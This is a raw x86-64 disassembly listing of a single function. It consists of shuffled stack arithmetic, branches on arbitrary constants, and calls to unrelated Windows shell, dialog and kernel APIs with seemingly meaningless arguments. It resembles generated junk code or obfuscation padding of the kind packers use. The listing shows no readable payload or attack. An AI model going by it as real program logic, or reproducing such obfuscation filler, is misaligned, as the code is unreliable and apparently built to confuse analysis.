mov eax, dword [rsp + 0x2fd4]
mov ecx, dword [rsp + 0x2fc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x5918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5948]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59a8], rax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov qword [rsp + 0x21d30], rax
movabs rax, 0x6ea2c450e4cb65a
cmp qword [rsp + 0x21d30], rax
je 0x1401b6aa5
movabs rax, 0x44bab56efcaa8adc
cmp qword [rsp + 0x21d30], rax
je 0x1401b6a8f
jmp 0x1401b6ab7
mov edx, dword [rsp + 0x2fc0]
mov ecx, dword [rsp + 0x2fd4]
call fcn.1401b86e0
nop
jmp 0x1401b6ab7
mov ecx, reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x2f6c], eax
jmp 0x1401b6b34
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5818]
mov qword [rsp + 0x21d38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x21d38]
mov eax, dword [rax]
sar eax, cl
mov ecx, dword [rsp + 0x2f3c]
mov rdx, qword [rsp + 0x5928]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x1401b6b34
movsx eax, word [rsp + 0x9c8]
movsx ecx, word [rsp + 0xa70]
xor eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
mov rax, qword [rsp + 0x5908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe8]
or eax, ecx
mov byte [rsp + 0x15b], al
mov ecx, dword [rsp + 0x2f3c]
call fcn.1401b7810
nop
jmp 0x1401b6c8c
mov rax, qword [rsp + 0x5968]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
shl eax, cl
mov rcx, qword [rsp + 0x57d0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x56f8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x1401b6c8c
mov rcx, qword [rsp + 0x5b88]
call qword [sym.imp.SHELL32.dll_DragFinish]
nop
movzx eax, byte [rsp + 0xe8]
mov byte [rsp + 0x4f64], al
cmp byte [rsp + 0x4f64], 0x22
je 0x1401b6c55
cmp byte [rsp + 0x4f64], 0xeb
je 0x1401b6bb6
jmp 0x1401b6c8c
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x58d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5900]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0x57
lea rax, [rsp + 0x5b88]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3008]
mov r8d, 0x6e
mov edx, 0xee
mov rcx, qword [rsp + 0x5858]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x3008], eax
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x5968]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov rcx, qword [rsp + 0x5920]
mov byte [rcx], al
jmp 0x1401b6c8c
lea rax, [rsp + 0x58b0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x56e8]
lea r8, [rsp + 0x22350]
mov edx, 0xa2
lea rcx, [rsp + 0x57c8]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x3084], eax
mov eax, dword [rsp + 0x2fa8]
mov dword [rsp + 0x4f68], eax
cmp dword [rsp + 0x4f68], 0xd6ad2b0e
je 0x1401b6ca9
jmp 0x1401b6d26
mov rax, qword [rsp + 0x57f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
lea rcx, [rsp + 0x5820]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x2ef0], eax
mov rax, qword [rsp + 0x5820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5790]
sub rcx, rax
mov rax, rcx
mov qword [0x140204010], rax
jmp 0x1401b6d5f
mov eax, dword [rsp + 0x2fa8]
mov ecx, dword [rsp + 0x2fd4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x5818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2f60], eax
jmp 0x1401b6df9
mov rax, qword [rsp + 0x5920]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5918]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x57f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5908]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
lea rdx, [rsp + 0x230e0]
mov ecx, 0x69
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x2f24], eax
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xca8]
and eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
sub eax, ecx
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
lea r8, [rsp + 0x5908]
lea rdx, [rsp + 0x21d80]
mov ecx, 0x7e
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x3100], eax
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca0]
shl eax, cl
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
mov rdx, qword [rsp + 0x21d28]
mov rcx, qword [rsp + 0x21cf8]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0x21d40], rax
jmp 0x1401b6ebe
mov rax, qword [rsp + 0x58b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca4]
xor eax, ecx
mov word [rsp + 0xa70], ax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x5920]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5918]
mov byte [rcx], al
call fcn.1401b7fd0
nop
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [rsp + 0x5828]
mov qword [rsp + 0x21d48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x21d48]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x57c8]
mov edx, dword [rax]
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rax]
call fcn.1401b86e0
nop
movsx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x57f0]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0xa70]
mov rdx, qword [rsp + 0x5820]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1401b6f40
call fcn.1401b75d0
nop
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x4f6c], al
cmp byte [rsp + 0x4f6c], 0x1c
je 0x1401b6f65
cmp byte [rsp + 0x4f6c], 0x36
je 0x1401b6f84
jmp 0x1401b6fd4
mov rax, qword [rsp + 0x57d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [rsp + 0xc98], ax
jmp 0x1401b6fd4
lea rcx, [rsp + 0x21fd0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x2f24], eax
mov eax, dword [rsp + 0x2ee4]
movzx ecx, al
mov eax, dword [rsp + 0x2f60]
sar eax, cl
mov rcx, qword [rsp + 0x5818]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56c0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x56b8], rax
movzx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0xc98]
mov rdx, qword [rsp + 0x57d0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1401b701f
movsx eax, word [rsp + 0xca4]
movsx ecx, word [rsp + 0xa70]
add eax, ecx
mov rcx, qword [rsp + 0x5820]
mov word [rcx], ax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
shl eax, cl
mov byte [rsp + 0x15c], al
movzx eax, word [rsp + 0xc9c]
mov dword [rsp + 0x4f70], eax
cmp dword [rsp + 0x4f70], 0x94f
je 0x1401b7058
jmp 0x1401b705a
jmp 0x1401b707a
mov r9d, 0x3d
mov r8d, 0x58
mov edx, 0xd7
mov rcx, qword [rsp + 0x5898]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
nop
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x56c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x5818]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2f3c], eax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
and eax, ecx
mov byte [rsp + 0x15d], al
movzx eax, word [rsp + 0xca0]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov word [rcx], ax
lea rcx, [rsp + 0x2f48]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
nop
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x21d50], rax
movabs rax, 0xd2c3a97a3efb27fb
cmp qword [rsp + 0x21d50], rax
je 0x1401b7123
jmp 0x1401b713c
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0x57f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x15b], al
mov r8, qword [rsp + 0x57d8]
mov rdx, qword [rsp + 0x21bc0]
mov rcx, qword [rsp + 0x5a30]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0x21cc8], rax
movsx eax, word [rsp + 0xa70]
movsx ecx, word [rsp + 0xca4]
and eax, ecx
mov rcx, qword [rsp + 0x58b0]
mov word [rcx], ax
call fcn.1401b7fd0
nop
lea r9, [rsp + 0x221b0]
mov r8d, 0xf7
mov edx, ILClone
mov rcx, qword [rsp + 0x5898]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x2f54], eax
mov rax, qword [rsp + 0x5828]
mov rcx, qword [rsp + 0x56b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
jmp 0x1401b72c5
mov r8w, 0x5a
mov rdx, qword [rsp + 0x5878]
mov rcx, qword [rsp + 0x5a30]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xca4], ax
mov rax, qword [rsp + 0x56b8]
mov qword [rsp + 0x21d58], rax
movabs rax, 0x143c94088a51104a
cmp qword [rsp + 0x21d58], rax
je 0x1401b7258
jmp 0x1401b725a
jmp 0x1401b727a
movsx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0x5820]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57f0]
mov word [rcx], ax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x159], al
lea rcx, [rsp + 0x221b0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x2f54], eax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x57c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rcx, qword [rsp + 0x5790]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x57c8]
mov eax, dword [rax]
mov dword [rsp + 0x4f74], eax
cmp dword [rsp + 0x4f74], 0x1b34e50e
je 0x1401b737b
cmp dword [rsp + 0x4f74], 0x96405b6f
je 0x1401b7330
jmp 0x1401b7398
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15c]
xor eax, ecx
mov byte [0x140204008], al
mov r9d, 0x5e
lea r8, [rsp + 0x158]
mov rdx, qword [rsp + 0x5910]
mov rcx, qword [rsp + 0x58d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x2fc4], eax
call fcn.1401b75d0
nop
jmp 0x1401b7398
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2ee4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov word [rsp + 0x20], 4
mov r9d, reloc.SHELL32.dll_ILGetNext
lea r8, [rsp + 0x21e90]
mov edx, 0xd5
mov ecx, 0x5e
call qword [sym.imp.KERNEL32.dll_GetGeoInfoW]
mov dword [rsp + 0x2f3c], eax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x56c8]
mov r8d, 0xfd
lea rdx, [rsp + 0x4f24]
mov rcx, qword [rsp + 0x5738]
call qword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov dword [rsp + 0x304c], eax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5710]
mov edx, dword [rax]
mov rax, qword [rsp + 0x5750]
mov ecx, dword [rax]
call fcn.1401b86e0
nop
movsx eax, word [rsp + 0x9c8]
mov dword [rsp + 0x4f78], eax
cmp dword [rsp + 0x4f78], 0x69ac
je 0x1401b746e
jmp 0x1401b74c3
mov eax, dword [rsp + 0x2edc]
and eax, 0xf337256c
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa70]
xor eax, 0x7f2d
mov word [rsp + 0x9c8], ax
lea r9, [rsp + 0x2f6c]
mov r8d, 0x58
mov edx, 0x3e
mov rcx, qword [rsp + 0x5738]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov dword [rsp + 0x304c], eax
jmp 0x1401b74fc
movzx eax, byte [0x140204008]
movzx ecx, byte [rsp + 0x157]
sar eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
or eax, 0x10e
mov word [rsp + 0xc98], ax
call fcn.1401b7fd0
nop
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140204008], al
mov rdx, qword [rsp + 0x5858]
mov rcx, qword [rsp + 0x5a30]
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov dword [rsp + 0x304c], eax
jmp 0x1401b7558
movsx eax, word [rsp + 0x9c8]
sub eax, 0x7693
mov word [rsp + 0x9c8], ax
mov ecx, dword [rsp + 0x2ee4]
call fcn.1401b7810
nop
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov edx, dword [rsp + 0x4f24]
mov rcx, qword [rsp + 0x58d8]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov dword [rsp + 0x2f6c], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x47e4]
add rsp, 0x234b8
pop rdi
pop rsi
ret